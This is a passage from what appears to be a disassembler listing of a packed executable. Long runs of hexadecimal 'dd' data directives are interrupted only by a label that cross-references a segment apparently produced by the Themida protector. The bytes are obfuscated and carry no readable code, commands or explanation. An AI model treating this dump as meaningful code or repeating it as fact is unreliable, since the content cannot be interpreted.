75F38166h, 9070BB4Bh, 0DE94A8Ah, 50000000h, 5FFE31EBh dd 1F2BB3BCh, 0C48786EBh, 0E9B6CC80h, 13h, 1BF07AB7h, 268481C0h dd 0DCB17F0h, 9A75ADB0h, 0F40C57Ah, 820FDAB7h, 2, 8160C88Ah dd 2E8CC9C9h, 5061F924h, 0F8B70F5Ah, 0B407C880h, 1840F0Ah dd 0F5000000h, 0DE9h, 0BBE9B900h, 24E06C55h, 0A7EFC728h dd 8B66127Bh, 0CE960F7h, 0A7000000h, 0BE723893h, 0AA845523h dd 0F1B585Dh, 178Ch, 12E900h, 2840000h, 65BF33BEh, 2E83FDEh dd 0B7F0863Ah, 0A74CD64Ch, 0F2816661h, 840F28A1h, 0 dd 0DCF18166h, 1870F55h, 0F9000000h, 14E8F281h, 830F3206h dd 2, 6653D18Bh, 0CBAFCA81h, 0F0BB665Eh, 0C9B70FCCh, 0EE957B2h dd 55000000h, 0F7AA0652h, 9E39266Fh, 5756168Ch, 840F5009h dd 5, 13F38166h, 81665951h, 661234C0h, 9809C181h, 60D08B66h dd 10850Fh, 0BE90000h, 0F7000000h, 0A6B2EBBBh, 17A48C34h dd 0CA8B5D0Fh, 22810F61h, 0E8000000h, 0Bh, 0DB4ADFBEh dd 9DC5808h, 0E8BA8E89h, 0Bh, 0D77F8448h, 0B40E39B6h, 5AF3CFE7h dd 8057605Ah, 0B35B27D0h, 5A566154h, 0D75BBA66h, 0ACEF8166h dd 0FFA8BE9h, 1189h, 0CE900h, 893A0000h, 57AB6DD9h, 0F4927204h dd 0FE99C82h, 39000000h, 0BC4E586Ah, 34078410h, 0A33BEE3Fh dd 0D7818E36h, 40BB5AC5h, 0DB816650h, 0F5A30DEh, 480h dd 0DFBA6600h, 0ADDE811Bh, 604895CAh, 0C3DAF081h, 8B6651A1h dd 5F5661C2h, 18C181F5h, 810AA96Bh, 994F35CEh, 8890F21h dd 60000000h, 0F96D980h, 6661CFB7h, 0B0BCF6BFh, 0B751F9B2h dd 0BE56599Dh, 20DA4075h, 0AE958h, 0ABC00000h, 0D2E4C098h dd 2B82DD2Dh, 12E9h, 8B024B00h, 0F7756861h, 0E8BD1A0h dd 56996B76h, 0FC6C6A0h, 0C8Dh, 6840F00h, 81000000h, 0EB14E0C3h dd 0C6E08121h, 0F80127BEh, 0CB8BF38Bh, 0B7CA8B66h, 812FB64Fh dd 296320F0h, 0FD68B74h, 88h, 9E86000h, 0D3000000h, 57077DFFh dd 5E20280h, 0BB7ADB81h, 605A11A9h, 14E9h, 0CB209300h dd 4FE862B4h, 255B1C1Ch, 0B55F899h, 0AD11679Dh, 0B161618Ch dd 0BF66F5D0h, 800F012Dh, 9, 3860Fh, 0B70F0000h, 10E8F8h dd 63290000h, 63C02D07h, 91AC1B0Ch, 0BBEEBFD6h, 0DE807D0h dd 0A3000000h, 7EB0E8DDh, 8CD0FAh, 49E0A71Eh, 0F7A7A9BFh dd 0B45F5F1Dh, 4FEC80B6h, 6E960F8h, 81000000h, 4F505C3Bh dd 5800F14h, 0B9000000h, 107AA29Bh, 0E181F961h, 1219875Eh dd 8AFABF0Fh, 6E9FCh, 347B0000h, 10E73F03h, 9E9h, 5A8E6900h dd 0F91E7A8Dh, 0BE664228h, 6660F51Ch, 536CF281h, 6E950h dd 27CB0000h, 32849D96h, 14E9615Fh, 0FC000000h, 0A95BF03Ah dd 0DB51B2CCh, 0CC40E09h, 9F2E818Ah, 0B9F10A85h, 3AD0F281h dd 85E38166h, 0B86650C2h, 0F5B50E5h, 0D88h, 8E900h, 10080000h dd 62339350h, 9E91EFDh, 0A2000000h, 68093D90h, 56D0046Dh dd 0EEC08166h, 0A0F181BAh, 0FC09ACC5h, 0E91BF280h, 9, 0DE3B9B23h dd 319EA435h, 0C880FC3Bh, 0F281F577h, 20126D4Dh, 0B1D68B66h dd 815750E7h, 4AFDF4D1h, 665E582Bh, 0F18BCE8Bh, 0CCCCD881h dd 81661D51h, 663775C7h, 6635A9BFh, 0E97D91BFh, 7, 5696D17h dd 600898A3h, 9ED18166h, 0FE83Bh, 91080000h, 0E4C6DE9Ah dd 0B2B5B248h, 190EC400h, 0EE921h, 43CA0000h, 43B37452h dd 0F58BD685h, 0BE1255F9h, 81666159h, 8A44D6EAh, 48D0FF0h dd 66000000h, 66193DBAh, 13BDC181h, 880Fh, 81660000h, 0F9720DF2h dd 13E9h, 86E03E00h, 0B304C6FEh, 8EBADCD3h, 0B8295E25h dd 1A2DD16Ah, 8F0FF08Bh, 4, 0C5D2BE66h, 0CC18BAF9h, 13E84D8Ah dd 0E0000000h, 28362576h, 0E5F9E599h, 1DB34E19h, 4B94C68Eh dd 0D08B9D1Bh, 0BE85Fh, 38CF0000h, 4F5B9EEEh, 0CC70D769h dd 5A50604Bh, 8B0F5961h, 1, 6830FF8h, 0F000000h, 8Eh, 0C3816600h dd 0CB812920h, 7D18BDACh, 10B960F5h, 0F1AB2C3h, 181h, 8061FC00h dd 0EE861C0h, 2E000000h, 0B6035D37h, 4179F87Dh, 0AA622E9Ah dd 5AB5B8CBh, 665F7532h, 0F9338B9h, 80h, 0B70F5200h, 0F08B5AF8h dd 81EE8A60h, 0DE17B1D6h, 0CE8B616Dh, 0C4B17AB6h, 0BE8C18Ah dd 0AA000000h, 0E2A1CA07h, 35FA25E2h, 0FB8BE818h, 60D38B5Ah dd 5840Fh, 81660000h, 61985CCAh, 0F78B66F9h, 18850Fh, 0E9520000h dd 11h, 7E54B425h, 790802B6h, 0A9F8CDB1h, 0D3ECA413h, 8B665AC7h dd 9FB866DEh, 0FEE8A0Ch, 28Ah, 8AC78B00h, 5E9FAh, 0D3410000h dd 0FC4605CAh, 14E9h, 0FA616D00h, 0E44D7C29h, 1541FA49h dd 38198781h, 88F9BE88h, 1D8F0FA9h, 0F000000h, 1784h, 12E900h dd 71350000h, 0CD916568h, 0B3F9EB58h, 9C9D1E36h, 82F52A35h dd 850FF560h, 6, 820Fh, 0B8610000h, 4E268229h, 0E38075B5h dd 2CF281E2h, 0E90AD387h, 0Bh, 78C72B3Bh, 63606A91h, 6070B66Ch dd 60C9B70Fh, 37CF8166h, 0D7816640h, 616164BEh, 0E9F2B70Fh dd 14h, 3D94E03Ch, 11095465h, 2EB2BFFh, 0E944FBEBh, 0E156C18h dd 76A34BBh, 0D860F20h, 0E9000000h, 8, 712D7EEDh, 0E1E74670h dd 58C0F60h, 66000000h, 0DF15CF81h, 14E861h, 3D060000h dd 0B6121DEFh, 0B4F2E98Eh, 10C4120Bh, 0F997175Ch, 5EF526C7h dd 3850Fh, 0F7800000h, 0D88B6684h, 0E2CF81FCh, 66330006h dd 0D780F78Bh, 6E9A0h, 67CB0000h, 0E578FB3Fh, 8E8h, 0C9EB4800h dd 0EFCFB3A0h, 58D98A1Fh, 0FE9h, 1012BF00h, 1811D81Ah dd 0E7E91D04h, 6016DEAAh, 0E9C6BF0Fh, 11h, 5665C78Eh, 2CC42E64h dd 0FB0F25B9h, 0F57536A8h, 0BA60F843h, 106EB7FBh, 617ADB80h dd 14E857h, 62940000h, 1E1ED908h, 0BF434D75h, 70D53475h dd 0E6D4FABAh, 0F081831Dh, 8BADE56h, 0CB85B5Eh, 0F5656F7h dd 8A0FF8BFh, 13h, 0EE9h, 3850AF00h, 8A1C1D09h, 0AE6F4F31h dd 0FE2868Ch, 0A8Fh, 5E900h, 0F4CA0000h, 0F8719F7Ah, 9860Fh dd 8A0F0000h, 3, 0F21E080h, 589h, 0EE816600h, 0EE96ADAh dd 0B2000000h, 9D6F14BCh, 2D43DB63h, 0AAF77F64h, 60BB660Eh dd 0E6F08142h, 6003F3EAh, 0FE9h, 3FD22E00h, 0B086FAFCh dd 0ACB9852Ch, 0D3CB5DAFh, 0D3B70F61h, 0FF4733BAh, 0DEBF0F3Ch dd 8CE8166h, 0BEBA666Bh, 0FE9ECh, 9EC0000h, 74D48079h dd 5DEFFDCDh, 18B1EA8Bh, 0E9BE66A4h, 0CABF0FF8h, 0E996D081h dd 0BA661C0Ch, 6FB8EECEh, 662B8C62h, 0D80AE881h, 13E9h dd 0B6536C00h, 56EA1E8Dh, 0EFA302F3h, 0C58163E3h, 37B0F705h dd 870F50h, 5B000000h, 66DFBF0Fh, 8B66F38Bh, 60FA8ADEh dd 3A41BE66h, 61DBB70Fh, 13E9A9B0h, 0F7000000h, 34BDABE3h dd 0E7046A9Dh, 384FC49Fh, 722BE86Eh, 0AEB9805Fh, 0F21B323h dd 1486h, 0FE900h, 0ED140000h, 522257E9h, 0E72695BDh, 7A8A5701h dd 665EB455h, 8B66D68Bh, 5FBF66D8h, 55CB8103h, 66443E46h dd 56645EBAh, 25D41BFh, 0CF805A5Ah, 0F1BF0FD8h, 0E2E68166h dd 0AEBEFC7Bh, 665F1CEFh, 970EEE81h, 0BE8h, 0AD73300h dd 12A11AABh, 0DBF36512h, 5214B260h, 0E95F615Bh, 11h, 86B150DEh dd 49CD887Dh, 335ACC31h, 0E759251Bh, 63C0805Ah, 13E8h dd 0CF39A900h, 0DA85EF15h, 89F61E81h, 0F79D9B6Dh, 0D62EC638h dd 767C07B9h, 0B70F581Eh, 13E853DEh, 80000000h, 4ADE3673h dd 1C9A1F94h, 46CC1D79h, 967C3C9Bh, 81666054h, 5FDA06E6h dd 8A85B15Ah, 58C0FEBh, 66000000h, 0FA19EE81h, 7830Fh dd 820F0000h, 1, 0BF0FF8FCh, 0C0B70FDEh, 19FDBB56h, 80592BF9h dd 0F9601FDEh, 66F18B61h, 662F22BEh, 0EED8C081h, 18A0F52h dd 0F8000000h, 13E95Ah, 8CC50000h, 66A12667h dd 7DB727D2h, 0F314708Fh, 0C58010D8h, 6E91Eh, 27F30000h dd 94A59A0Eh, 0E2EB80FCh, 0C78B66FCh, 0C38B66F8h, 53F9E280h dd 0DA182ABAh, 5E85E13h, 27000000h, 406FC1D5h, 91EF8166h dd 840F5ED8h, 4, 3A8EBF66h, 0BF6647B7h, 7E96D2Fh, 5C000000h dd 2CFAE249h, 0C38B6717h, 0CE8h, 42DEBE00h, 16779207h dd 59D852DFh, 59FA8B9Ch, 4870Fh, 0BB660000h, 8B669662h dd 0E8C18BF8h, 7, 2F8365E2h, 0F6E90BDh, 86h, 0B7605A00h dd 61C18BF2h, 0BE9h, 9385AE00h, 83EFC316h, 42A12A79h, 6667E080h dd 0EE9D08Bh, 0E7000000h, 2C0F807Ah, 4B79C2DAh, 86A6648Eh dd 0DEB70FD4h, 5FE0B851h, 0E85A5EFFh, 10h, 0FD2453BAh dd 9A9A1520h, 85007989h, 0B4A89935h dword_57CF68 dd 0D2B3B866h, 0D2BF0F5Eh, 11820Fh, 0CE90000h, 0D0000000h ; DATA XREF: Themida_:0051C2A9o dd 0B3176883h, 96F40694h, 0E882B07Ch, 0Eh, 3C2A227Fh, 9B5548FDh dd 93BEE265h, 1ABA9581h, 583B83AAh, 0DCE6D081h, 23B64129h dd 8B60F98Bh, 8061FCF2h, 8E9F5DCh, 0A5000000h, 9A3C4C3h dd 66B07E46h, 0AB9D98Bh, 6028B775h, 0CE8BEFB6h, 0A5D28061h dd 0E18166F9h, 0CDB690E6h, 81D4BEFCh, 0BF660AA8h, 8D0F49AFh dd 0 dd 0D7B8C38Bh, 0E904AE54h, 14h, 5D9A96AAh, 0F3601A08h dd 2D9CF564h, 6070FB77h, 4A72CCE9h, 0B4BB6060h, 0B8065782h dd 149C094Eh, 0F98B6661h, 0D2816661h, 0AE93E87h, 28000000h dd 281AC02Eh, 6743B5EDh, 11E967h, 5CD0000h, 0B35FDB0Fh dd 0ECBB9ADCh, 0A5FF4B98h, 0E9630027h, 13h, 49857C21h dd 836471F9h, 0DA69185Ch, 0F7D619DDh, 0E8FC2DCBh, 12h dd 94D8276Dh, 193CE615h, 0B64ED257h, 7F73D7D2h, 8B66770Ch dd 60605FD0h, 8E9D38Bh, 90000000h, 0FAAFD314h, 610D6E77h dd 14E9h, 9F82D00h, 2FB9C6DDh, 0D52D213h, 99FB4ED1h, 0B4E1BDC6h dd 8B666130h, 890FDEh, 0E8000000h, 0Ch, 88E994ECh, 0A69C1839h dd 859DF1CEh, 54F18166h, 0EAB65FBDh, 10E8h, 0C5303700h dd 0D3D0A74Eh, 66B47F2Bh, 0B514320Fh, 0E8F86064h, 14h dd 78E1D9D5h, 1CDB3E9Bh, 9AB839E8h, 2AE11BAFh, 33D8DCF9h dd 605B6158h, 7E9h, 61828300h, 661343C1h, 1A8D0F61h, 0E8000000h dd 14h, 0EF0D78D3h, 0DC014AADh, 682BCE00h, 0F8BE79AFh dd 0A454CA00h, 2830F5Eh, 0B2000000h, 0FB8B6678h, 0EE9h dd 78727A00h, 73B93292h, 59E2CE99h, 66E6A1A6h, 0B70FF38Bh dd 5E9F1h, 496A0000h, 0FC3BE730h, 0BC3B6CB8h, 0DE8B660Dh dd 0E9D3B0FCh, 7, 0BE742F04h, 81272FCDh, 0E5F281D7h, 0DE94Bh dd 7FDD0000h, 0BA2F6A76h, 0F38E601Fh, 0F27AD3Ah, 870FD2BFh dd 0Bh, 58A0Fh, 0B6BF0000h, 6671572Ch, 667D8EB9h, 0FCDE93BEh dd 8F0F7EB6h, 3, 0F8F28B66h, 75B9E381h, 0BF0F6593h, 0BB00B9D0h dd 5A5709DBh, 6820Fh, 0C0810000h, 5EA30059h, 6072D680h dd 816650B3h, 616F7ED9h, 8D0Fh, 0EE80000h, 90000000h, 0D2A22EDAh dd 0AD972BEBh, 0B51C2C2h, 0CF8166B9h, 0F5B9B49h, 583h dd 1106BE00h, 81665F41h, 0FD2EDD0h, 0F556C3BFh, 7941BF59h dd 0EE946B5h, 0D9000000h, 0AA246ABDh, 0D97B447Dh, 0B1E9FFDFh dd 0FE8605Dh, 0C9000000h, 0AEEE08E1h, 0C1802C9Dh, 4790AC6Ch dd 5BFC2A99h, 0F88BF861h, 0FE9h, 0EF6F7600h, 0A3E041BFh dd 7A370505h, 0FCFCE970h, 0A7E0BE60h, 63BA56A3h, 61363ABFh dd 13E9h, 34C27700h, 805CCB08h, 1704291h, 0D122648Ah, 45531115h dd 0BA66C68Bh, 0E781E448h, 0C415B38h, 14E8h, 709DEA00h dd 33ED6672h, 423A8694h, 0F9BAB94Bh, 155062CCh, 5F0CB08Ah dd 0ABC6B866h, 66D38B66h, 81DD681h, 1880Fh, 66F80000h dd 501FCA81h, 0BE53F080h, 5FD6152Eh, 4CABCF81h, 38B00E23h dd 10E860h, 0C4030000h, 4F987063h, 1FC84E4Ch, 0EDF0BCAEh dd 8B66920Dh, 0FE8B5EC8h, 0E1816661h, 8F0FCCB2h, 0Bh, 5810Fh dd 81660000h, 0F8551E9h, 20BADEB7h, 817E38E6h, 1291E8CBh dd 0F28B6659h, 753DEF81h, 820F3501h, 0Ch, 6820Fh, 8A0F0000h dd 0 dd 9F1ADF81h, 0B85660C6h, 0F290405h, 148B0F5Bh, 60000000h dd 6E8h, 0CFBC3B00h, 5E4A6DFEh, 0F008D381h, 0F6115F6h dd 88Bh, 2810F00h, 60000000h, 10E961h, 8C550000h, 3124C717h dd 4AC833C1h, 0B1D7605Eh, 0DE90F63h, 60000000h, 768901E1h dd 8FBDDC0Ch, 3CD8BFB0h, 4850Fh, 0BB660000h, 0EF8073BFh dd 5FBA66B7h, 10E90Dh, 0A5C10000h, 585E3289h, 0B16EF3E2h dd 0A280B7D4h, 14E9B4E4h, 0F1000000h, 0FD47A4FCh, 3473DED1h dd 932CF6BBh, 709A26Fh, 80368563h, 3BB9F9C5h, 0BE77D3DCh dd 10DADBBEh, 0AE8h, 0D3450100h, 0F502054Eh, 66777BEAh dd 0D998C781h, 0B3E18059h, 8B666051h, 890FFBh, 61000000h dd 0D3BF0F59h, 0FD68B66h, 482h, 9BBA6600h, 13D08029h, 14E8h dd 0B2F38600h, 0F29B2C3Eh, 0EA57E11Eh, 5FC80E45h, 0D25C5D06h dd 0CE96015h, 1C000000h, 8EFA3424h, 89E96765h, 802C86AEh dd 5A6136DCh, 3E7EF081h, 8B665F0Eh, 0BBFCBEF8h, 81BE4E03h dd 6666288Ch, 4B92D881h, 11E8h, 0BDCDB400h, 0DF4CEEF6h dd 9294DF88h, 1AA11296h, 0C78A36DFh, 0E881665Ah, 8A0F854Bh dd 4, 585E5357h, 3820F60h, 80000000h, 0E9605FC3h, 0Bh dd 0A5CD0C5Dh, 6CA5A0Dh, 615087D2h, 870F6061h, 4, 86F2BA66h dd 0C65879BEh, 0BF66614Ch, 0BF0F02D8h, 8D0F60F1h, 14h dd 0FE9h, 0A5E07300h, 0C5B557A2h, 7E21B031h, 6240C8F9h dd 0A2E78166h, 0E88A612Dh, 28E0Fh, 61600000h, 5FB96650h dd 8B665880h, 0BA6660F9h, 0B866C0B8h, 6061C675h, 0E961FA8Ah dd 0Ah, 5469BAC9h, 3130A3DDh, 8A0FAD35h, 8, 2860Fh, 5BB30000h dd 58E781F5h, 0F7A7D88h, 0C180C1BFh, 3BB665Dh, 0BF0F60A1h dd 0C6BF0FDEh, 8BD08B61h, 0D78166F0h, 8B0F45E1h, 0 dd 0CE957h, 548B0000h, 6ECAB287h, 6DED502Ah, 525FBB77h dd 11E9h, 0E762B00h, 1C55AB7Bh, 8A5A4D42h, 701E336Fh, 8B5A770Dh dd 0F0B70FF2h, 5870Fh, 81660000h, 8B46BFE9h, 41BA66F3h dd 1800FFBh, 0F5000000h, 7E9h, 0F253C800h, 5C5053E6h, 0AE2BB966h dd 8F0FD18Bh, 5, 0A639A1BAh, 14E9F55Dh, 6C000000h, 0BD2E0F12h dd 7148B9D9h, 3FEEFB05h, 0B3878BF8h, 0F67CE04h, 0DD80C6B7h dd 0C181662Ch, 0AE9DF97h, 0DB000000h, 53C55F5Dh, 165A4139h dd 816660C4h, 8B1B61DAh, 6DB861C7h, 66661EDEh, 8166DE8Bh dd 0FFE50C6h, 38Ah, 0E6D58000h, 66D1BF0Fh, 1BAAE281h, 0A6E18166h dd 0C6BF0FBCh, 60F85AB4h, 0BF665E50h, 0BE61AEC2h, 5F384FAAh dd 7E9h, 1E58DA00h, 0E5F720CFh, 5E9h, 0DBA38E00h, 66600583h dd 61F098BFh, 56F18B66h, 5AF08B66h, 6830Fh, 0D8810000h dd 2313F9EEh, 0D0B70F60h, 0A023A8BEh, 60FC6122h, 61D38B66h dd 25F9BF66h, 0B66C7BB8h, 850F605Ah, 3, 0E8C68B66h, 0Eh dd 1B5B0AE7h, 30B9B18Dh, 0C8FC75F7h, 0B70F55EDh, 0F615ADFh dd 480h, 23B86600h, 0F56F5B4h, 689h, 880F00h, 5A000000h dd 667DD880h, 6E9C68Bh, 0F7000000h, 4BE4979Ch, 0DA8166CBh dd 0BF0F23FFh, 0B4F08AC1h, 0A636BAD8h, 80604376h, 0F18B52E1h dd 0CFBF0F61h, 9E9h, 5C579300h, 0FF4D796Ch, 6E97437h, 8000000h dd 1D69950Eh, 6620B0BCh, 0B2E960B9h, 6653F5E0h, 5A314FBFh dd 0AE9h, 5CEA5C00h, 4AC343F1h, 0E9763347h, 12h, 3A3627ABh dd 70E89D12h, 0EDA701D7h, 86672CAAh, 0EF8044DBh, 0C8816659h dd 810F0C6Eh, 0 aFAbrpbXZfZs db 'fRPѽX`',0Dh,'[Zf+',9,0 db 2 dup(0), 28h dd 1DF3A737h, 1AF76F4Eh, 850Fh, 860F0000h, 0Dh, 8E9h, 45905A00h dd 2575E63Ch, 0CE8FCF3h, 0FF000000h, 0FC0EF1C1h, 0F9D37EBBh dd 0FAE768Bh, 687h, 810F00h, 5B000000h, 0F60F9F9h, 48Ah dd 0FDB86600h, 0F3DF81A0h, 613C0EDCh, 0AE852B6h, 49000000h dd 0C8E326C9h, 0C79AA01Ah, 28D0F31h, 8A000000h, 0FE95BCCh dd 3000000h, 0ED239685h, 333C200Eh, 3F6DE5D5h, 0BE66BDA1h dd 57FC594Ah, 665BDE8Bh, 0DAFC981h, 880FDD8Ah, 6, 53CA8B60h dd 0ADB6615Fh, 13E9h, 95417A00h, 0BCB14652h, 0BD5911Dh dd 502B961Dh, 0A0A11824h, 64BB6053h, 0B603A0E2h, 0BB5A61FCh dd 0F6D4355h, 0E9D88B66h, 10h, 0E7D7A627h, 6BBAE3F8h, 6F31ACDh dd 0AD381A9h, 890FC88Bh, 0Fh, 0AE9h, 8EEE2800h, 0E1EC9D1h dd 0E9B23853h, 0Dh, 0C637716Ah, 16424733h, 0EEA863FCh dd 0FE80Eh, 41D80000h, 0E28507CBh, 8660A79Eh, 4CDFF07Eh dd 13E87Eh, 118E0000h, 0AD38E476h, 0B1BE90ADh, 98A55684h dd 88AF316Ah, 8E88Fh, 4F860000h, 0A2E91E6Ah, 5F5FE333h dd 93EDBA5Ah, 0A2B174BEh, 0CE98166h, 48D0F76h, 66000000h dd 8B217FBBh, 5E9C2h, 6CC10000h, 8B4790ACh, 7E8D7h, 3AD60000h dd 957C9132h, 810F602Fh, 0 dd 5F615852h, 800Fh, 10E90000h, 64000000h, 0CE91548Dh dd 8ED2976Ah, 6B36668Dh, 5660AFD9h, 5EC88B66h, 0AE9h, 56974E00h dd 3BCE10A6h, 8A5302C3h, 5E9F5h, 71F00000h, 0E99D7EDDh dd 0Ch, 6E19C58Dh, 555CAEFFh, 0E01506E7h, 20820Fh, 14E80000h dd 0D3000000h, 0E5B6DB48h, 33736BC0h, 491ECA42h, 0CEA5746Ch dd 81010336h, 0D31723CAh, 0C68A5B16h, 0BE85B51h, 3D000000h dd 7EBA2C6Fh, 0C701F7DCh, 0E851477Eh, 10h, 2419AB1Fh, 29D16E53h dd 4D6B3A19h, 0F964F7E9h, 0F55B5959h, 66F9BF0Fh, 326DD181h dd 11E8h, 56A54C00h, 147601A4h, 0FFA17A9h, 5455B386h, 0B96656F9h dd 0F5FF9C6h, 682h, 76DE8100h, 667A7812h, 0FFE49BEh, 8Dh dd 11E900h, 0B0580000h, 0ECE4D0Eh, 0CEF54E83h, 2122D4C6h dd 80208DF8h, 870F51EDh, 3, 0FC5FF680h, 0A0CB8156h, 5F1DB377h dd 0EF9EC6BFh, 0E081606Bh, 3C9DB794h, 0F88B6661h, 0C18B6660h dd 6061F18Ah, 61D8BF0Fh, 4BFC881h, 6EBE2767h, 0F1129FBh dd 0B89h, 0BE666000h, 6EBE2AC5h, 6165F411h, 0CDC586B9h dd 97BF6662h, 6FF2B949h, 870F03D0h, 6, 0E8BF6656h, 0BF0F5B44h dd 0CBB70FC1h, 12E9h, 0AFD8A800h, 0B9DCE8A9h, 0D8FBDFF5h dd 79240F08h, 57A8A3D5h, 0E9587EB0h, 11h, 9A224FCEh, 388FB541h dd 51E1502Eh, 45AABCA8h, 0F38B66CEh, 0BFEE8166h, 4D881D1h dd 0E924BF77h, 7, 84EEFEDEh, 0F1080D5h, 683h, 0B6F28100h dd 0F6DBE49h, 48Fh, 35BA6600h, 0C18B662Dh, 0BE66F860h dd 0E9619061h, 6, 413ACF58h, 7BBAA55h, 0F7A154Bh, 28Ch dd 81CDB600h, 87B2CAEAh, 0D98B666Bh, 0AE9FCh, 33F50000h dd 0A83C07BCh, 1480B9E1h, 28C0FFCh, 0B4000000h, 2EA0BB98h dd 0BE81768h, 44000000h, 12DCE2Ah, 0E0AD7D5Dh, 0F08BBCDFh dd 6E95Fh, 0EDA70000h, 86672CAAh, 0E08166F9h, 8166D4B1h dd 0B80EBBC0h, 362001AAh, 7E9h, 0AF39C900h, 1DAB0340h dd 0CE1CF81h, 840F0D83h, 2, 6E9FA8Bh, 0D7000000h, 0A32C2638h dd 0BE98B771h, 8AFBFB6h, 86BFF681h, 12E87EF2h, 0BE000000h dd 0F5790434h, 3A97029Fh, 0DF504CF9h, 0AEA67CECh, 0C3B70F25h dd 0DAB8665Bh, 5820F5Bh, 57000000h, 5AFFBF0Fh, 0C68060B1h dd 0C2BF0F34h, 52F2B70Fh, 5CDB8052h, 81665E59h, 80207BCFh dd 0B70FAFECh, 0FF5B2F3h, 8Eh, 81666000h, 60ED55F0h, 8D793BBBh dd 8A0F58h, 61000000h, 8E861h, 14930000h, 85619E54h, 0E9607A5Ch dd 11h, 3C22D199h, 0A8A21CB5h, 0B6730097h, 17783EDh, 0FC5F6147h dd 0B6885EBBh, 0E0BF600Bh, 0F2C40C4h, 0F61CEBFh, 281h dd 8B4AB400h, 4BF381D0h, 8B240850h, 0F08B66F1h, 0CE8h dd 0B97EE100h, 6F154FB7h, 0FA5B4B54h, 68B0F8Bh, 0F000000h dd 8Dh, 8B0F5E00h, 19h, 14E9h, 677A2C00h, 12A2EEB4h, 430E8ED5h dd 5C881676h, 5C2F9C2Fh, 67DA8004h, 66A5F280h, 8B66D98Bh dd 28E681C3h, 0F93BC04Dh, 0FC7B70Fh, 0B760DEBFh, 48D0F0Eh dd 66000000h, 6124ACBFh, 53F78B66h, 14E9h, 8448F600h, 39B6D77Fh dd 0CFE7B40Eh, 0E013A5F3h, 0C081E405h, 8D0F5977h, 0 dd 88A0Fh, 810F0000h, 2, 0E8F95F56h, 11h, 77B5AC4h, 7B378C75h dd 41C0DB02h, 65698DE3h, 5EE18AD8h, 0CE9h, 39266F00h, 56168C9Eh dd 93A20957h, 6E985h, 0A1160000h, 7C00BAF6h, 3EEE8166h dd 0CE86044h, 0F9000000h, 83EB0A17h, 68050C95h, 0E9BBE9B9h dd 12h, 0E9339018h, 797154ADh, 93B2A6D8h, 2654DC95h, 615B1040h dd 84BB4CB8h, 0F7EB155h, 289h, 81CF8B00h, 0B4C4FCD7h, 80F8600Ah dd 0B26194D7h, 0D1B70F9Fh, 5AD68B50h, 0AE8F78Bh, 18000000h dd 0B23D7B28h, 38562198h, 14E9DFh, 0AE6A0000h, 0A1710C21h dd 0E885F53Fh, 89A0BF08h, 1B5B0AE7h, 8B5AB18Dh, 0DE9DFh dd 30FE0000h, 3677B202h, 9D7F8ACAh, 0F13C433h, 0E87h, 870F6000h dd 0 dd 8D0Fh, 0E8610000h, 0Ah, 2147A8F2h, 0B2A0C26Bh, 8C0FA1DDh dd 2, 0BB585853h, 763113B9h, 5E9h, 64A20000h, 7E85EFAh dd 3000000h, 9639EEEDh, 81668F6Fh, 5E2AC4E0h, 2A24BB66h dd 8997F281h, 8E94F80h, 70000000h, 8263CE48h, 0FC5AF681h dd 3890Fh, 0C8800000h, 0D3B70F2Bh, 81666060h, 0F28C4C8h dd 8161DBB7h, 0F6F809DFh, 0E280616Dh, 0C3B70F06h, 158C0Fh dd 10E90000h, 43000000h, 4010180Dh, 0E5ACCF5Ah, 4043809Eh dd 0E8BEC357h, 14h, 493F8582h, 0AD9F86B3h, 0D57D95BAh dd 0D3BD588Fh, 7BA58BA6h, 73CDE281h, 665A3943h, 8B66C38Bh dd 79B966D3h, 0FE95074h, 92000000h, 0E2D8053Ch, 8EC61873h dd 450F0F79h, 0E95936D1h, 13h, 0F50E2815h, 91666E8Eh, 0CBDED948h dd 9D9E585Ah, 66E20A1Ch, 66EBD7BFh, 8166F08Bh, 8168AEDEh dd 0C2181FCBh, 13810F70h, 0E9000000h, 0Eh, 78C1D43Bh, 0AB0C93FBh dd 0C2F56A74h, 0BE66463Ah, 0D78122CDh, 4994A3Fh, 2C08166h dd 38A0FA2h, 0F000000h, 0B70FDAB7h, 12E8C3h, 33A10000h dd 3B765EA8h, 0D27832EBh, 0ACC74F99h, 411E529Dh, 6058D18Bh dd 58D0Fh, 6DBF0000h, 61100191h, 8D0Fh, 7E80000h, 0F000000h dd 46ED8BEEh, 8B66ED9Ah, 0BF0F58D0h, 0CBE66F6h, 9BDE818Bh dd 8B6C7558h, 0E78166C8h, 0BE9E291h, 0AD000000h, 0A9D0DD9Bh dd 467D8C7Bh, 2EBEF82Ah, 8B121D13h, 0CE8CAh, 451A0000h dd 6D8C0BFEh, 7BABD140h, 47B4A256h, 0BE95Bh, 14DB0000h dd 3EA10E7Ch, 0A8EE9A81h, 13E9B3h, 49A90000h, 60021E75h dd 4F16274Bh, 7A3E587Ah, 0BBCD72A1h, 66D98BC9h, 0BE56D68Bh dd 6EB81877h, 9E958h, 5790000h, 0EEBCCC33h, 0BF91F17Ah dd 143862Ch, 0FD1B70Fh, 8Dh, 0A0CE8000h, 810FC68Bh, 4 dd 9726B966h, 12800Fh, 0DE90000h, 0D5000000h, 0D55BEC4Ch dd 7FF73ADDh, 111FF1E0h, 0CC3BEh, 28B0F75h, 0B2000000h dd 0F0BF0FC4h, 0CE984B2h, 56000000h, 48F30486h, 0CA461D7Bh dd 5689ECBAh, 52C7DDBAh, 8E85F39h, 0E3000000h, 924F3E27h dd 8B29F4CFh, 0E38A5EDAh, 3860Fh, 0B70F0000h, 7870FFBh dd 60000000h, 0BF0F6160h, 850F61FEh, 3, 0B6C6E880h, 5E9ADh dd 5CB70000h, 500717CCh, 14E95EF8h, 0FA000000h, 0AD456347h dd 632F89F8h, 983F4EEDh, 1784A024h, 0F6437EFh, 86h, 0DE800h dd 66DB0000h, 7CC6A624h, 0B57D8C0h, 0BB758D97h, 44EE68E4h dd 8D0FFC5Fh, 0 dd 0CE9h, 0BA6A1300h, 0F80A728Ch, 0EA5DDCACh, 0D18B6693h dd 8DDA8166h, 13E9F4h, 9C5E0000h, 9899854Ch, 427D702Eh dd 0B11E0224h, 0AAC7BDE4h, 0E983B5BEh, 7, 0A2596626h, 8B551BC3h dd 7E8C1h, 0B1610000h, 6C4275C5h, 5FCE8B27h, 11E9FCh, 0B9850000h dd 0CB5DAFACh, 0B56AB4D3h, 0B97DD1DAh, 0FA6D074h, 1E8Bh dd 18880F00h, 0E8000000h, 12h, 6772238Dh, 0F5B2883Ch, 0FC6CB1Ah dd 95DF8F92h, 665B6940h, 562DC181h, 0CA8166F9h, 10E8BB60h dd 0CE000000h, 6FC4BF4Ch, 0BDAF8C0Dh, 